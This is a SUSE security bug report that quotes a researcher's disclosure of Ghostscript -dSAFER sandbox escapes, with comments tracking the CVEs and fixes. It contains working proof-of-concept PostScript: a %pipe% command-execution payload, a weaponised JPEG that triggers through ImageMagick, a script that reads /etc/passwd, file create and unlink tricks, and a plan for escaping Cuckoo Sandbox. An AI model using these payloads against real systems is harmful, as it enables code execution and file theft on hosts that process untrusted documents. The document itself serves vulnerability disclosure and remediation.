Bug 1105464 - VUL-0: ghostscript,ghostscript-library: various issues bypassing -dSAFER
Summary: VUL-0: ghostscript,ghostscript-library: various issues bypassing -dSAFER
Status: RESOLVED FIXED
Alias: None
Product: SUSE Security Incidents
Classification: Novell Products
Component: Incidents (show other bugs)
Version: unspecified
Hardware: Other Other
: P3 - Medium : Major
Target Milestone: ---
Assignee: Security Team bot
QA Contact: Security Team bot
URL:
Whiteboard:
Keywords:
Depends on: CVE-2018-15908 CVE-2018-15909 CVE-2018-15910 CVE-2018-15911
Blocks:
  Show dependency treegraph
 
Reported: 2018-08-21 09:09 UTC by Marcus Meissner
Modified: 2020-01-28 07:16 UTC (History)
2 users (show)

See Also:
Found By: ---
Services Priority:
Business Priority:
Blocker: ---
Marketing QA Status: ---
IT Deployment: ---


Attachments

Note You need to log in before you can comment on or make changes to this bug.
Description Marcus Meissner 2018-08-21 09:09:58 UTC
From: Tavis Ormandy <taviso@google.com>
Date: Mon, 20 Aug 2018 17:56:43 -0700
subject: ***UNCHECKED*** [vs-plain] More Ghostscript Issues

Tavis Ormandy has reported more -dSAFER bypass issues in ghostscript to distros.

Hello, you might recall I posted a bunch of -dSAFER sandbox escapes in
ghostscript a few years ago:

http://seclists.org/oss-sec/2016/q4/29

I found a few type confusion bugs, but unfortunately, I missed one that was
later found exploited in the wild <http://ghostbutt.com/>.

I just found out that Pillow <https://python-pillow.org/> will also
automatically invoke ghostscript. That piqued my interest, because the
malware analysis framework "Cuckoo Sandbox <https://cuckoosandbox.org/>"
will invoke Pillow on untrusted data uploaded from malicious guests.
Therefore, any -dSAFER escape is a free Cuckoo Sandbox escape, giving you
code execution on the host.

If you have a -dSAFER escape, you would exploit it like this:

   1. From your malware, find the resultserver
   <https://github.com/cuckoosandbox/cuckoo/blob/master/cuckoo/core/resultserver.py#L238>
using
   GetTcpTable() or whatever.
   2. Use the FILE command to upload a ghostscript file called
   "screenshot/whatever.jpg"
   3. Cuckoo will automatically invoke Pillow on the host to thumbnail
   <https://github.com/cuckoosandbox/cuckoo/blob/master/cuckoo/processing/screenshots.py#L56>
the
   screenshot.
   4. Pillow will automatically invoke
   <https://github.com/python-pillow/Pillow/blob/master/src/PIL/EpsImagePlugin.py#L120>
ghostscript
   if it looks like an EPS file.
   5. Escape -dSAFER, and you have code execution on the host.


I went back and had another look for more, here are a few more:

1. /invalidaccess checks stop working after a failed restore, so you can
just execute shell commands if you handle the error. This is obviously a
*critical* vulnerability, and exploitation is very trivial. Repro:
$ gs -q -sDEVICE=ppmraw -dSAFER -sOutputFile=/dev/null
GS>legal
GS>{ null restore } stopped { pop } if
GS>legal
GS>mark /OutputFile (%pipe%id) currentdevice putdeviceprops
GS<1>showpage
uid=1000(taviso)

2. setcolor claims
<http://git.ghostscript.com/?p=ghostpdl.git;a=blob;f=psi/zcolor.c;h=4c0f25827e320ceaa9b510c98f9b1926532a26d5;hb=HEAD#l263>
no
operand checking is necessary, because it's hidden behind a pseudo-operator
of the same name. That's true, but you can still call it indirectly via
setpattern, so type checking is necessary. Repro:

$ gs -q -sDEVICE=ppmraw -dSAFER
GS><< /Whatever 16#414141414141 >> setpattern
Segmentation fault

3. The LockDistillerParams boolean isn't type checked, nice easy type
confusion. Repro:
$ gs -q -sDEVICE=ppmraw -dSAFER
GS><< /LockDistillerParams 16#4141414141414141 >> .setdistillerparams
Segmentation fault

4. .tempfile permissions don't seem to work properly (did they ever?),
you're not supposed to be able to open files outside of the patterns in the
PermitFileAccess array. That doesn't seem to work for me e.g.:
$ strace -fefile gs -sDEVICE=ppmraw -dSAFER
...
GS>(/proc/self/cwd/hello) (w) .tempfile
open("/proc/self/cwd/hello26E8LQ", O_RDWR|O_CREAT|O_EXCL, 0600) = 3
GS<2>dup
GS<3>(hello) writestring
GS<2>closefile

This means you can create a file in any directory (I don't think you can
prevent the random suffix). On top of that, I also have a trick to let you
read and unlink any file.

Soo...

$ strace -fefile gs -sDEVICE=ppmraw -dSAFER
...
GS>{ .bindnow } stopped {} if
GS>(/etc/passwd) [] .tempfile
GS<2>.quit
unlink("/etc/passwd")                   = -1 EACCES (Permission denied)
+++ exited with 0 +++

Reading is more complicated, but you can do it like this:

$ cat test.ps
/FileToSteal (/etc/passwd) def

errordict /undefinedfilename {
    FileToSteal % return the undefined name
} put

errordict /undefined {
    (STOLEN: ) print
    counttomark {
        ==only
    } repeat
    (\n) print
    FileToSteal
} put

errordict /invalidfileaccess {
    pop
} put

errordict /typecheck {
    pop
} put

FileToSteal (w) .tempfile

statusdict
begin
    1 1 .setpagesize
end

quit

$ ./gs -q -sDEVICE=ppmraw -dSAFER  test.ps
GPL Ghostscript 9.23: **** Could not open temporary file /etc/passwdp05w63
STOLEN: root:x:0:0:root:
STOLEN: daemon:x:1:1:daemon:/bash/bin/root:(/etc/passwd)
STOLEN: bin:x:2:2:bin:/nologin/sbin/usr/sbin:/usr(/etc/passwd)
STOLEN: sys:x:3:3:sys:/nologin/sbin/usr/bin:(/etc/passwd)
STOLEN: sync:x:4:65534:sync:/nologin/sbin/usr/dev:(/etc/passwd)
STOLEN: games:x:5:60:games:/sync/bin/bin:(/etc/passwd)

If you want to see that output in the final output, just plug it into my
previous PoC here:

http://www.openwall.com/lists/oss-security/2016/09/29/3

After finding these I wrote an advanced next gen fuzzer (sort -R <
operators.txt | gs), and found dozens more. It will take me a few days to
go through all this fuzz output, I'll probably just file bugs upstream
rather than report them here - I expect there to be at least 100 unique
bugs.


I'm kinda of the opinion that ghostscript is unsalvageable for untrusted
input, and we should use poppler for pdf and give up on untrusted
postscript.

I really *strongly* suggest that distributions start disabling PS, EPS, PDF
and XPS coders in policy.xml by default. I think this is the number one
"unexpected ghostscript" vector, imho this should happen asap.

I'll start opening upstream bugs tomorrow, at which point code changes will
likely be public quickly.

Tavis.
Comment 1 Marcus Meissner 2018-08-21 09:11:07 UTC
Followup from Tavis:

Oh, I noticed ImageMagick send some intizilation commands that breaks my
PoC, but you can just remove their changes:

$ cat test.jpeg
%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore

mark /OutputFile (%pipe%id) currentdevice putdeviceprops
showpage
$ convert test.jpeg foo.gif
uid=1000(taviso)

Thanks, Tavis.
Comment 3 Marcus Meissner 2018-08-21 13:01:21 UTC
was posted by tavis ormandy to oss-security list, is public.
Comment 5 Marcus Meissner 2018-08-27 14:58:55 UTC
http://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=0d390118 - cve requested
Comment 7 Marcus Meissner 2018-08-27 15:08:36 UTC
cve request for 
http://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=c3476dde type confusion in LockDistillerparams
Comment 8 Marcus Meissner 2018-09-10 13:07:36 UTC
SLE15 could be updated to 9.24.
Comment 10 Marcus Meissner 2020-01-28 07:16:29 UTC
we did version updates for sle12 and sle15, fixing these issues.